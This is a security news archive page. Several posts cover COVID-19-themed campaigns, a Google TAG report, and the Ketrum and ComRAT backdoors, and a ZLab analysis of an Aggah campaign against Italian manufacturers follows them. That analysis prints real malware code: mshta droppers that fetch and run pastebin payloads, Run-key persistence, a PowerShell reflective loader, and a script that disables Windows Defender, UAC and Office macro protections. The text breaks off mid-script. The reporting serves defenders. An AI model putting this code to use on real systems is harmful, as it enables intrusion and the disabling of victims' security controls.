Category Archives: Cyber warfare

Coronavirus-themed attacks May 24 – May 30, 2020

This post includes the details of the Coronavirus-themed attacks launched from May 24 to May 30, 2020.

Threat actors exploit the interest in the Coronavirus outbreak while infections increase worldwide, experts are observing new campaigns on a daily bases.

Below a list of attacks detected this week.

May 26 – Hangzhou could permanently adopt COVID-19 contact-tracing app

The City of Hangzhou is planning to make a contact tracing system developed to fight the COVID-19 pandemic permanent for its citizens.

May 27 – Fuckunicorn ransomware targets Italy in COVID-19 lures

A new piece of ransomware dubbed FuckUnicorn it targeting Italy by tricking victims into downloading a fake COVID-19 contact tracing app.

May 29 – Himera and AbSent-Loader Leverage Covid19 lures

Researchers at ZLab spotted a new phishing campaign using Covid19 lures to spread Himera and Absent-Loader.  

May 30 – A new COVID-19-themed campaign targets Italian users

Security researchers uncovered a new COVID-19-themed campaign targeting users of the National Institute for Social Security (INPS).

If you are interested in COVID19-themed attacks from February 1 give a look at the following posts:

If you are interested in COVID19-themed attacks from February 1 give a look at the following posts:

Pierluigi Paganini

(SecurityAffairs – COVID-19, Coronavirus themed campaigns)

The post Coronavirus-themed attacks May 24 – May 30, 2020 appeared first on Security Affairs.

Google TAG report Q1 details about nation-state hacking and disinformation

Google Threat Analysis Group (TAG) has published today its first TAG quarterly report that analyzes rising trends in nation-state and financially motivated attacks.

Google also discloses seven coordinated political influence campaigns that took place on its platforms during Q1 2020.

The Google Threat Analysis Group (TAG) is a group inside the Google’s security team that tracks operations conducted by nation-state actors and cybercrime groups. Google TAG has published today its first TAG quarterly report, the Q1 2020 TAG Bulletin, that provides insights on the campaigns monitored in the first quarter of 2020.

The report includes recent findings on government-backed phishing, threats, and disinformation campaigns, as well as information about actions the tech giant has taken against accounts coordinated influence campaigns. 

A first scaring trend reported by Google is the rising of hack-for-fire companies currently operating out of India.

Another trend was the rising number of political influence campaigns carried out by nation-state actors worldwide.

Experts confirm that threat actor continues to use COVID-19 lures, the pandemic has taken center stage in the world of government-backed hacking. Google continues to uncover COVID-19 themed attacks, groups like Iran-linked Charming Kitten focuses on medical and healthcare professionals, including World Health Organization (WHO) employees.

Experts reported new activity from “hack-for-hire” firms, many based in India, that are using Gmail accounts spoofing the WHO to target business leaders in financial services, consulting, and healthcare corporations within numerous countries including, the U.S., Slovenia, Canada, India, Bahrain, Cyprus, and the UK.

The lures are designed to trick victims into signing up for direct notifications from the WHO to stay informed of COVID-19 related announcements, and link to websites under the control of the attackers that clone the official WHO website. 

“We’ve seen new activity from “hack-for-hire” firms, many based in India, that have been creating Gmail accounts spoofing the WHO,” said Shane Huntley, head of Google TAG.

“The accounts have largely targeted business leaders in financial services, consulting, and healthcare corporations within numerous countries including, the US, Slovenia, Canada, India, Bahrain, Cyprus, and the UK.”


While there have been many hack-for-hire companies around the world, most are located in the UE, Israel, and some Arab countries.

This is the first time that a report references the activity of hack-for-hire Indian companies.

The Google TAG also investigated groups that have also engaged in coordinated social and political influence campaigns.

The TAG team tracked a total of seven influence operations in Q1 2020.

In January Google terminated three YouTube channels as part of a coordinated influence operation linked to Iranian state-sponsored International Union of Virtual Media (IUVM) news organization.

In February, the company terminated one advertising account and 82 YouTube channels that were employed in a coordinated influence operation linked to Egypt.

The campaign was sharing political content in Arabic that was supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and was critical of Iran and Qatar. The campaign being tied to the digital marketing firm New Waves based in Cairo.

In March, TAG terminated five different influence operations.

  • Three advertising accounts, one AdSense account, and 11 YouTube channels part of a coordinated influence operation linked to India sharing pro-Qatar messages.
  • Google banned one Play Store developer and terminated 68 YouTube channels as part of a coordinated influence operation sharing political content in Arabic supportive of Turkey and critical of the UAE and Yemen.
  • Google also terminated one advertising account, one AdSense account, 17 YouTube channels, and banned one Play developer involved in a coordinated influence operation linked to Egypt supporting of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.
  • Google also banned one Play developer and terminated 78 YouTube channels used in a coordinated influence operation linked to Serbia.
  • Google also shut down 18 YouTube channels that were part of a coordinated influence operation linked to Indonesia.

“Since March, we’ve removed more than a thousand YouTube channels that we believe to be part of a large campaign and that were behaving in a coordinated manner. These channels were mostly uploading spammy, non-political content, but a small subset posted primarily Chinese-language political content similar to the findings of a recent Graphika report. We’ll also share additional removal actions from April and May in the Q2 Bulletin.” concludes Google.

Pierluigi Paganini

(SecurityAffairs – Google TAG, nation-state acting)

The post Google TAG report Q1 details about nation-state hacking and disinformation appeared first on Security Affairs.

Ke3chang hacking group adds new Ketrum malware to its arsenal

The Ke3chang hacking group added a new malware dubbed Ketrum to its arsenal, it borrows portions of code and features from older backdoors.

The Ke3chang hacking group (aka APT15, Vixen Panda, Playful Dragon, and Royal APT) has developed new malware dubbed Ketrum by borrowing parts of the source code and features from their older Ketrican and Okrum backdoors.

“In mid May, we identified three recently uploaded samples from VirusTotal that share code with older APT15 implants. We named this new family of samples, “Ketrum”, due to the merger of features in the documented backdoor families “Ketrican” and “Okrum”.” reads the report published by the security firm Intezer.

“We believe the operation was conducted very recently.”

Back in 2013, the security researchers at FireEye spotted a group of China-Linked hackers that conducted an espionage campaign on foreign affairs ministries in Europe. The campaign was named ‘Operation Ke3chang,’ now threat actors behind the attacks were spotted targeting personnel at Indian embassies across the world.

In May 2016, researchers from Palo Alto found evidence that the threat actors behind the Operation Ke3chang had been active since at least 2010.

The cyber-espionage group is believed to be operating out of China, it also targeted military and oil industry entities, government contractors and European diplomatic missions and organizations.

Intezer researchers recently discovered three Ketrum backdoor samples that were uploaded to the VirusTotal platform, they noticed the samples reused part of the source code and features from Ke3chang’s Ketrican and Okrum backdoors.

“Both Ketrum samples resemble a similar layout to previous Ke3chang tools, apart from low-level implementation and use of system APIs,” continues the analysis. “Even in the two Ketrum samples, there are differences between the low-level APIs used to achieve the same functionality.”

The three Ketrum samples connected to the same Chinese-based command and control server and have been used in two different time periods.

The command and control (C2) server was shut down during mid-May after the Ketrum samples were spotted.

Below the differences between the backdoors:

Identify installed proxy servers and use them
for HTTP requests
Special folder retrieval using registry key[HKEY_CURRENT_USER\Software\
Explorer\Shell Folders]
The response from the server
is an HTTP page with backdoor commands
and arguments included in the HTML fields
Backdoor commands are determined by a hashing value received from C2❌✅❌❌
Communication with the C&C server is hidden in the Cookie and Set-Cookie headers of HTTP requests❌✅✅❌
Impersonate a logged in user’s security context❌✅✅❌
Create a copy of cmd.exe in their working directory and use it to interpret backdoor commands✅❌✅❌
Usual Ke3chang backdoor functionalities – download, upload, execute files/shell commands and configure sleep time✅✅✅✅
Screenshot-grabbing functionality❌❌✅❌

The Ketrum 1 sample was uploaded to VirusTotal in December 2019 and has a fake January 7, 2010, timestamp, It implements many features from Okrumand abandons more advanced Okrum features

Thee newer Ketrum 2 seems to have been built for minimalism, it drops most of the useless features of the Ke3chang backdoors.

“Unlike the Ketrican variant, Ketrum implants no longer try to weaken the system’s security configurations. In previous implants, Powershell was used for this end.” states the report.

“The group continues to morph its code and switch basic functionalities in their various backdoors. This strategy has been working for the group for years and there is no indication yet that it will deviate from this modus operandi.”

The Intezer’s report includes Indicators of compromised (IOCs) and additional details regarding the new Ketrum malware.

Pierluigi Paganini

(SecurityAffairs – Ke3chang, hacking)

The post Ke3chang hacking group adds new Ketrum malware to its arsenal appeared first on Security Affairs.

New Turla ComRAT backdoor uses Gmail for Command and Control

Researchers uncovered a new advanced variant of Turla’s ComRAT backdoor that leverages Gmail’s web interface as C2 infrastructure.

Cybersecurity researchers discovered a new version of the ComRAT backdoor, also known as Agent.BTZ, which is a malware that was employed in past campaigns attributed to the Turla APT group.

Earlier versions of Agent.BTZ were used to compromise US military networks in the Middle East in 2008.

The new variant leverages Gmail’s web interface to covertly receive commands and exfiltrate sensitive data.

ComRAT v4 appeared in the threat landscape in 2017 and is still used by threat actors, recently a new variant was used in attacks against two Ministries of Foreign Affairs in Eastern Europe and a national parliament in the Caucasus region.

ComRAT turla 2.png

This new version was developed from scratch and is far more complex than its predecessors. 

The Turla APT group (aka SnakeUroburosWaterbugVenomous Bear and KRYPTON) has been active since at least 2007 targeting diplomatic and government organizations and private businesses in the Middle East, Asia, Europe, North and South America, and former Soviet bloc nations.

The list of previously known victims is long and includes also the Swiss defense firm RUAG, US Department of State, and the US Central Command.

ComRAT is a sophisticated backdoor developed in C++, it could perform many malicious actions on the infected systems, such as executing additional payloads or exfiltrating files.

The backdoor uses a Virtual FAT16 File System formatted in FAT16, it is deployed using existing access methods, including the PowerStallion PowerShell backdoor.

ComRAT leverages the following C2 channels:

  • HTTP: It uses exactly the same protocol as ComRAT v3
  • Email: It uses the Gmail web interface to receive commands and exfiltrate data

The main components of the of the ComRAT v4 are:

  • an orchestrator, which is injected into explorer.exe process and is used to control most of ComRAT functions.
  • a communication module (a DLL), which is injected into the default browser by the orchestrator. It communicates with the orchestrator using a named pipe.
  • a Virtual FAT16 File System, containing the configuration and the logs files.

“The main use of ComRAT is discovering, stealing and exfiltrating confidential documents. In one case, its operators even deployed a .NET executable to interact with the victim’s central MS SQL Server database containing the organization’s documents.” reads the report published by the experts.

To evade detection, ComRAT files, with the exception of the orchestrator DLL and the scheduled task for persistence, are stored in a virtual file system (VFS). The default VFS container file is hardcoded in the orchestrator components that drops the first time it is executed.

The C&C “mail” mode was specific to the Gmail email provider.

The orchestrator reads the email address in /etc/transport/mail/mailboxes/0/command_addr by parsing the inbox HTML page (using Gumbo HTML parser) and the cookies to authenticate on Gmail in /etc/transport/mail/mailboxes/0/cookie.
The cookies have a limited lifetime so they should be updated from each interaction.

The Gmail parser could get the list of emails with subject lines that match those in a “subject.str” file in the VFS.

The comRAT backdoor downloads the attachments (e.g. “document.docx,” “documents.xlsx”) from each email that meets the above criteria, then it deleted the emails to avoid processing them twice.

Despite their extensions, the attachments are not Office documents, but rather encrypted blobs of data that include a specific command to be executed.

The backdoor creates an attachment containing the result of the commands, its name consists of 20 random digits and of the .jpg.bfe so-called double extension.

The analysis of the time of day that commands were sent in a one-month period reveals that the operators are working in the UTC+3 or UTC+4 time zone.

“Version four of ComRAT is a totally revamped malware family released in 2017,” ESET concludes. “Its most interesting features are the Virtual File System in FAT16 format and the ability to use the Gmail web UI to receive commands and exfiltrate data. Thus, it is able to bypass some security controls because it doesn’t rely on any malicious domain.”

Pierluigi Paganini

(SecurityAffairs – Tesla, hacking)

The post New Turla ComRAT backdoor uses Gmail for Command and Control appeared first on Security Affairs.

Coronavirus-themed attacks May 17 – May 23, 2020

This post includes the details of the Coronavirus-themed attacks launched from May 17 to May 23, 2020.

Threat actors exploit the interest in the Coronavirus outbreak while infections increase worldwide, experts are observing new campaigns on a daily bases.

Below a list of attacks detected this week.

May 19 – Hackers Target Oil Producers During COVID-19 Slump

Recent research shows that the oil industry — already experiencing difficulties due to COVID-19 — must remain abreast of threats to stay safe from hackers.

May 22 – Microsoft warns of “massive campaign” using COVID-19 themed emails

Experts from the Microsoft Security Intelligence team provided some details on a new “massive campaign” using COVID-19 themed emails.

May 23 – Experts observed a spike in COVID-19 related malspam emails containing GuLoader

Security experts observed a spike in the use of the GuLoader since March 2020 while investigating COVID-19-themed malspam campaigns.

If you are interested in COVID19-themed attacks from February 1 give a look at the following posts:

Pierluigi Paganini

(SecurityAffairs – COVID-19, hacking)

The post Coronavirus-themed attacks May 17 – May 23, 2020 appeared first on Security Affairs.

Cyber-Criminal espionage Operation insists on Italian Manufacturing

ZLab researchers spotted a new malicious espionage activity targeting Italian companies operating worldwide in the manufacturing sector.


During our Cyber Threat Intelligence monitoring we spotted new malicious activities targeting some Italian companies operating worldwide in the manufacturing sector, some of them also part of the automotive production chain.

The group behind this activity is the same we identified in the past malicious operations described in Roma225 (12/2018), Hagga (08/2019), Mana (09/2019), YAKKA (01/2020). This actor was first spotted by PaloAlto’s UNIT42 in 2018 during wide scale operations against technology, retail, manufacturing, and local government industries in the US, Europe and Asia. They also stated the hypothesis of possible overlaps with the Gorgon  APT group, but no clear evidence confirmed that.

However, in order to keep track of all of our report, we synthesized all the monitored campaigns, with their TTPs and final payload:

Table 1: Synthetic table of the campaigns

As we can see from the table, the Aggah campaigns varied in the time, but it maintained some common points. All campaigns used as the initial stage an office document (PowerPoint or Excel) armed with macro and some of them used injection methods. 

All attack operations used a “Signed Binary Proxy Execution” technique abusing Mshta, a legit Microsoft tool, and used at least an executable file for the infection. In addition, the use of PowerShell stage or the abuse of legit web service has been reported in some campaigns. 

Furthermore the CMSTP bypass exploit is a new feature present only in the 2020, because the first malwares identified to exploit this vulnerability all date back to mid/end 2019, making think the fact that the Threat Actor likes to test the latest disclosed exploits in order to make its campaigns always at the forefront. Regarding persistence mechanisms, we note that initially scheduled tasks were used, but in the latest infections the registry run keys were used. All threats use at least one obfuscation method to make the analysis harder. 

Looking at the evolution of the final payloads, we can say that this evolution is certainly due to a chronological factor, since Revenge rat had become obsolete, but the evolution is also due to the technological factor and its means: revenge rat has the classic functionality of spyware, while AZORult is considered an info stealer. As a last payload, Agent Tesla was used which collects all the functionality of the previous payloads as it is considered an info stealer and spyware.

Technical Analysis

The infection chain starts with a malicious Microsoft Powerpoint weaponized with a malicious macro.

ThreatMalicious macro
Brief DescriptionMalicious ppt dropper with macro.

Table 2. Sample information

The content of the macro is quite easy to read and the content is short and easy to read:

Figure 1: Content of the malicious macro

The VBA macro is responsible to download and execute malicious code retrieved from pastebin.  j[.mp is an url shortening service, the following request redirect and download a pastebin content:

Figure 2: Shortener resolution

The MSHTA Drop Chain

Like the previous campaigns, this threat actor uses a Signed Binary Proxy Execution (ID: T1218) technique abusing “mshta.exe” (T1170) a signed and legit Microsoft tool. Adversaries can use mshta.exe to proxy execution of malicious .hta files, Javascript or VBScript.

Figure 3: Piece of code of the Bnv7ruYp paste

As shown in the above figure, the code is simply URI encoded by replacing each instance of certain characters by one, two or three escape sequences representing the UTF-8 encoding of the character. 

<script language=”&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;”>’id1CreateObject(“WScript.Shell”).Run “””mshta””””http:\\\raw\5CzmZ5NS”””
CreateObject(“WScript.Shell”).Run StrReverse(“/ 08 om/ ETUNIM cs/ etaerc/ sksathcs”) + “tn “”Pornhubs”” /tr “”\””mshta\””http:\\\raw\5CzmZ5NS”” /F “,0
‘id2CreateObject(“WScript.Shell”).RegWrite StrReverse(“TRATS\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH”), “””m” + “s” + “h” + “t” + “a””””http:\\\raw\sJEBiiMw”””, “REG_SZ”‘id3CreateObject(“WScript.Shell”).RegWrite StrReverse(“\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH”), “””m” + “s” + “h” + “t” + “a””””http:\\\raw\YL0je2fU”””, “REG_SZ”

‘defidCreateObject(“WScript.Shell”).Run “””mshta””””http:\\\raw\UyFaSxgj”””CreateObject(“WScript.Shell”).RegWrite StrReverse(“FED\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\UCKH”), “””m” + “s” + “h” + “t” + “a””””http:\\\raw\UyFaSxgj”””, “REG_SZ”


Code Snippet 1

This stage acts as a dropper, in fact, it downloads and executes some pastebin contents through mshta.exe. 

Figure 4: Evidence of the NIBBI author

This lasta campaign has been dubbed with the name of the Pastebin user spreading the malicious pastes. This time the name is “NIBBI”. The first component is 5CzmZ5NS:

Figure 5: Piece of the code of 5CzmZ5NS paste

The second one is sJEBiiMw:

Figure 6: Piece of the code of the sJEBiiMw paste

The third one, YL0je2fU:

Figure 7: Piece of the code of the YL0je2fU paste

and the fourth component, UyFaSxgj:

Figure 8: Piece of the code of the UyFaSxgj paste

This obfuscation technique is typical of this particular actor and he largely leveraged it in many malicious operations. Moreover, the usage of a legit website such as pastebin (T1102) gives a significant amount of cover such as advantages of being very often whitelisted. Using such a service permits to reduce the C2 exposure. In the past, other groups also used similar techniques to decouple attack infrastructure information from their implant configuration, groups such as APT41, FIN6 or FIN7.

Once decoded the first component (5CzmZ5NS), it unveils some logic, as shown in Code Snippet 2. First of all, the script set a registry key, as a windows persistence mechanism (T1060) in which it place the execution of the following command: “mshta vbscript:Execute(“”CreateObject(“”””Wscript.Shell””””).Run “”””powershell ((gp HKCU:\Software).iamresearcher)|IEX

<script language=”&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;”>CreateObject(“WScript.Shell”).RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\bin”, “mshta vbscript:Execute(“”CreateObject(“”””Wscript.Shell””””).Run “”””powershell ((gp HKCU:\Software).iamresearcher)|IEX””””, 0 : window.close””)”, “REG_SZ”
CreateObject(“Wscript.Shell”).regwrite “HKCU\Software\iamresearcher”, “$fucksecurityresearchers=’contactmeEX’.replace(‘contactme’,’I’);sal M $fucksecurityresearchers;do {$ping = test-connection -comp -count 1 -Quiet} until ($ping);$iwannajoinuiwannaleavedsshit = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $iwannajoinuiwannaleavedsshit;$iwannaleftsellingtools= New-Object -Com Microsoft.XMLHTTP;$‘GET’,’’,$false);$iwannaleftsellingtools.send();$iwannaleftsellingtoolsy=$iwannaleftsellingtools.responseText;$asciiChars= $iwannaleftsellingtoolsy -split ‘-‘ |ForEach-Object {[char][byte]””0x$_””};$asciiString= $asciiChars -join ”|M;[Byte[]]$Cli2= iex(iex(‘(&(GCM *W-O*)’+ ‘Net.’+’WebC’+’lient)’+’.Dow’+’nload’+’Str’+’ing(””).replace(”#”,”!#!@#”).replace(”!#!@#”,”0x”)’)) | g;$iwannaleftsellingtools=[System.Reflection.Assembly]::Load($decompressedByteArray);[rOnAlDo]::ChRiS(‘InstallUtil.exe’,$Cli2)” , “REG_SZ”
Const HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell ((gp HKCU:\Software).iamresearcher)|IEX”, null, objConfig, intProcessID)’i am not a coder not a expert i am script kiddie expert i read code from samples on site then compile in my way’i am not a coder 😉 i watch you on twitter every day thanks 🙂 i love my code reports!’i am not a coder! bang 😉

Code Snippet 2

The code contains some “funny” comments related to the twitter community of security researchers which constantly monitor the actor operations. Then, the final payload is identified by Rk4engdU paste.

Figure 9: Piece of the rnS6CUz paste

Decoding this hex stream we get the following powershell code:

function UNpaC0k3333300001147555 {
[CmdletBinding()]    Param ([byte[]] $byteArray)  Process {     Write-Verbose “Get-DecompressedByteArray”        $input = New-Object System.IO.MemoryStream( , $byteArray )     $output = New-Object System.IO.MemoryStream            $01774000 = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)
    $puffpass = New-Object byte[](1024)    while($true){        $read = $01774000.Read($puffpass, 0, 1024)        if ($read -le 0){break}        $output.Write($puffpass, 0, $read)        }        [byte[]] $bout333 = $output.ToArray()        Write-Output $bout333    }}
$t0=’DEX’.replace(‘D’,’I’);sal g $t0;[Byte[]]$MNB=(‘OBFUSCATED PAYLOAD ONE‘.replace(‘@!’,’0x’))| g;
[Byte[]]$blindB=(‘OBFUSCATED PAYLOAD TWO‘.replace(‘@!’,’0x’))| g
[byte[]]$deblindB = UNpaC0k3333300001147555 $blindB
[byte[]]$decompressedByteArray = UNpaC0k3333300001147555  $MNB

Code Snippet 3 

The Powershell Loader

The Code Snippet 3 is a Powershell script in which the function “UNpaC0k3333300001147555” is declared, having the purpose to manipulate the two payloads in the right way. Both of them are .NET binaries. The de-obfuscated code is stored in the deblindB variable and then executed.

As suggested by the name deblindB, invoke the execution of the static method “Bypass” of the “Amsi” class.

Figure 10: Amsi Bypass exploit evidence

Instead, the payload embedded inside the variable $MNB is another type of injection tool, but this one is not executed by the script, probably because both the binaries perform the same action and only one is sufficient.

At this point, we deepen the “sJEBiiMw” component obtaining:

<script language=”&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;”>Const HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg(‘h’+’t’+’t’+’p’+’s’+’:’+’/’+’/’+’p’+’a’+’s’+’t’+’e’+’b’+’i’+’n’+’.’+’c’+’o’+’m’+’/’+’r’+’a’+’w’+’/ygwLUS9C’));$_Xpin=$_Xpin.replace(‘.’,’*!(@*#(!@#*’).replace(‘*!(@*#(!@#*’,’0′);$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X)”, null, objConfig, intProcessID)

Code Snippet 4

This script downloads and executes another script from pastebin: ygwLUS9C. It is a base64 encoded script with some basic string replacing. We also noticed this executable uses the CMSTP bypass technique (T1191), already seen in our previous report.

Figure 11: CMSTP Bypass evidence

However, in this case, there is a new element differently the previous version: through the CMSTP bypass, a VBS script is written in the “\%TEMP%\” folder, which executes many disruptive commands:

Figure 12: Evidence of the VBS script loaded and executed

The VBS script, as also mentioned inside the first row as comment, has the objective to set to zero the level of security of the infected machine. The script is the following:

‘this script will put system on 0 securityIf Not WScript.Arguments.Named.Exists(“elevate”) Then  CreateObject(“Shell.Application”).ShellExecute WScript.FullName _    , “””” & WScript.ScriptFullName & “”” /elevate”, “”, “runas”, 1  WScript.QuitEnd If
On Error Resume NextSet WshShell = CreateObject(“WScript.Shell”)WshShell.RegWrite “HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware”,”0″,”REG_DWORD”WshShell.RegWrite “HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring”,”0″,”REG_DWORD”WshShell.RegWrite “HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection”,”0″,”REG_DWORD”WshShell.RegWrite “HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable”,”0″,”REG_DWORD”
WScript.Sleep 100
outputMessage(“Set-MpPreference -DisableRealtimeMonitoring $true”)outputMessage(“Set-MpPreference -DisableBehaviorMonitoring $true”)outputMessage(“Set-MpPreference -DisableBlockAtFirstSeen $true”)outputMessage(“Set-MpPreference -DisableIOAVProtection $true”)outputMessage(“Set-MpPreference -DisableScriptScanning $true”)outputMessage(“Set-MpPreference -SubmitSamplesConsent 2”)outputMessage(“Set-MpPreference -MAPSReporting 0”)outputMessage(“Set-MpPreference -HighThreatDefaultAction 6 -Force”)outputMessage(“Set-MpPreference -ModerateThreatDefaultAction 6”)outputMessage(“Set-MpPreference -LowThreatDefaultAction 6”)outputMessage(“Set-MpPreference -SevereThreatDefaultAction 6”)

Sub outputMessage(byval args)On Error Resume NextConst HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell ” + args, null, objConfig, intProcessID)

End SubOn Error Resume NextConst HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell $cici=@(36,117,115,101,114,80,97,116,104,32,61,32,36,101,110,118,58,85,83,69,82,80,82,79,70,73,76,69,10,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,65,114,114,97,121,76,105,115,116,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,65,114,114,97,121,76,105,115,116,10,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,67,58,92,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,77,115,98,117,105,108,100,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,67,97,108,99,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,112,111,119,101,114,115,104,101,108,108,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,119,115,99,114,105,112,116,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,109,115,104,116,97,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,99,109,100,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,106,101,99,116,115,70,111,108,100,101,114,32,61,32,39,100,58,92,39,10,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,97,116,104,32,36,112,114,111,106,101,99,116,115,70,111,108,100,101,114,10,102,111,114,101,97,99,104,32,40,36,101,120,99,108,117,115,105,111,110,32,105,110,32,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,41,32,10,123,10,32,32,32,32,87,114,105,116,101,45,72,111,115,116,32,34,65,100,100,105,110,103,32,80,97,116,104,32,69,120,99,108,117,115,105,111,110,58,32,34,32,36,101,120,99,108,117,115,105,111,110,10,32,32,32,32,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,97,116,104,32,36,101,120,99,108,117,115,105,111,110,10,125,10,102,111,114,101,97,99,104,32,40,36,101,120,99,108,117,115,105,111,110,32,105,110,32,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,41,10,123,10,32,32,32,32,87,114,105,116,101,45,72,111,115,116,32,34,65,100,100,105,110,103,32,80,114,111,99,101,115,115,32,69,120,99,108,117,115,105,111,110,58,32,34,32,36,101,120,99,108,117,115,105,111,110,10,32,32,32,32,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,114,111,99,101,115,115,32,36,101,120,99,108,117,115,105,111,110,10,125,10,87,114,105,116,101,45,72,111,115,116,32,34,34,10,87,114,105,116,101,45,72,111,115,116,32,34,89,111,117,114,32,69,120,99,108,117,115,105,111,110,115,58,34,10,36,112,114,101,102,115,32,61,32,71,101,116,45,77,112,80,114,101,102,101,114,101,110,99,101,10,36,112,114,101,102,115,46,69,120,99,108,117,115,105,111,110,80,97,116,104,10,36,112,114,101,102,115,46,69,120,99,108,117,115,105,111,110,80,114,111,99,101,115,115);[System.Text.Encoding]::ASCII.GetString($cici)|IEX”, null, objConfig, intProcessID)
CreateObject(“WScript.Shell”).RegWrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA”,”0″, “REG_DWORD”

Set wso = CreateObject(“WScript.Shell”)wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite 